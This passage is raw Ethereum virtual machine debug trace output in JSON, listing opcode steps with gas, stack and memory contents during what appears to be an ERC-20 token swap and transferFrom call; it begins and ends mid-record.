00000000000000000000"]},{"pc":15466,"op":"DUP2","gas":95698,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15467,"op":"DUP2","gas":95695,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40","0x240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15468,"op":"ADD","gas":95692,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40","0x240","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15469,"op":"MLOAD","gas":95689,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40","0x280"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15470,"op":"DUP4","gas":95686,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40","0x42116bf400000000000000000000000000000000000000000000000045639182"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15471,"op":"DUP3","gas":95683,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40","0x42116bf400000000000000000000000000000000000000000000000045639182","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15472,"op":"ADD","gas":95680,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40","0x42116bf400000000000000000000000000000000000000000000000045639182","0x2e4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15473,"op":"MSTORE","gas":95677,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40","0x42116bf400000000000000000000000000000000000000000000000045639182","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c800000000000000000000000000000000000000000000000000000000"]},{"pc":15474,"op":"PUSH1","gas":95671,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15476,"op":"ADD","gas":95668,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x40","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15477,"op":"PUSH2","gas":95665,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15480,"op":"JUMP","gas":95662,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244